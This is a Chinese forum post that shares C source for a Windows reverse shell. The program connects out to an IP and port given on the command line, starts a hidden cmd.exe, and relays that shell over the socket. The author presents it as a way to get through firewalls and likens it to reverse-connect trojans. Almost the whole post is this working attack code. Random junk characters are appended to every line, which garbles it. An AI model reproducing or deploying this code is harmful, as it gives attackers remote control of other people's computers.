社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6487阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ([[)Ub$U  
Lr wINVa  
/* ============================== 32s5-.{c/f  
Rebound port in Windows NT ZU)BJ!L,s  
By wind,2006/7 v3?kFd7%H~  
===============================*/ hTDV!B-_(  
#include m**0rpA  
#include W0C{~|e  
o*-h%Z.  
#pragma comment(lib,"wsock32.lib") N4A&"1d&  
Sy4 mZ}:  
void OutputShell(); a5X`jo  
SOCKET sClient; W^003*m~~K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q^[e/U,  
FPvuzBJ  
void main(int argc,char **argv) tF<^9stM  
{ hx*HY%\P  
WSADATA stWsaData; 7[4_+Q:}  
int nRet; ^GE^Q\&D&  
SOCKADDR_IN stSaiClient,stSaiServer; =d}gv6v2S  
*Yj~]E0`1  
if(argc != 3) +:fqL  
{ 5r^1CFO  
printf("Useage:\n\rRebound DestIP DestPort\n"); Qk+=znJ  
return; W]Y@WKeT  
} ]cn/(U`  
Fq vQk  
WSAStartup(MAKEWORD(2,2),&stWsaData); ||yXp2  
R:]/{b4Uq  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gW'P`Oxw  
uE"5cq'B/  
stSaiClient.sin_family = AF_INET; ;R/k2^uF  
stSaiClient.sin_port = htons(0); W+8BQ- 2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '$n:CNha  
wTB)v!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  CEbzJ   
{ g8LT7  
printf("Bind Socket Failed!\n"); &/sGh0  
return; oK#\HD4U  
} LKIW*M  
C(EYM$  
stSaiServer.sin_family = AF_INET; z\e>DdS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XyvZ&d6(d  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j|&{e91,?  
Vxp$#3 ;S  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O|HIO&M  
{ f0/jwfL  
printf("Connect Error!"); l.XknF  
return; 17WNJ  
} ;3 G~["DA  
OutputShell(); $?[1#%  
} p.@0=)  
uo]Hi^r.l  
void OutputShell() nu;} S!J  
{ 30A`\+^f  
char szBuff[1024]; #S@UTJa  
SECURITY_ATTRIBUTES stSecurityAttributes;  QpdujtH`  
OSVERSIONINFO stOsversionInfo; bc `UA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T g3:VD  
STARTUPINFO stStartupInfo; C<r(-qO{5  
char *szShell; B*- ToXQQr  
PROCESS_INFORMATION stProcessInformation; m Y$nI -P  
unsigned long lBytesRead; U(rr vNt:t  
Ix*BI9E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -@YVe:$%b  
V<7R_}^_7  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tn"Y9 k|  
stSecurityAttributes.lpSecurityDescriptor = 0; ATKYjhc _  
stSecurityAttributes.bInheritHandle = TRUE; ^zvA?'s  
'dmp4VT3  
N90\]dFmy  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [54@irH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IW5*9)N?  
A6{t%k~F  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2q`)GCES~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +CsI,Uf4*  
stStartupInfo.wShowWindow = SW_HIDE; >v^2^$^u  
stStartupInfo.hStdInput = hReadPipe; c+@d'yR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o,*folL  
4y|xUO:  
GetVersionEx(&stOsversionInfo); cEDDO&u  
9X 5*{f Y  
switch(stOsversionInfo.dwPlatformId) a/`c ef  
{ l@,);w=_P  
case 1: B]A 5n8<  
szShell = "command.com"; mA&RN"+V  
break; yf `.%  
default: 3S[w'  
szShell = "cmd.exe"; Fv?R\`52u  
break; T^/Gj|N*  
} z1Bj_u{  
LL|_c4$Ky  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :NwMb^>  
)z]q"s5 Y  
send(sClient,szMsg,77,0); :N^@a-  
while(1) :)KTZ  
{ l(h;e&9x  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "wT ~$I"  
if(lBytesRead) [<#<:h &\  
{ O, bfdc[g4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  5uQv  
send(sClient,szBuff,lBytesRead,0); uvu**s  
} (P E# Y(  
else Z:\;R{D  
{ @D.R0uM  
lBytesRead=recv(sClient,szBuff,1024,0); ?RgU6/2  
if(lBytesRead<=0) break; s=H/b$v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y)?W-5zL  
} N&0uXrw  
} K^!e-Xi6  
,^MW)Gf<  
return; |1dEs,z\  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八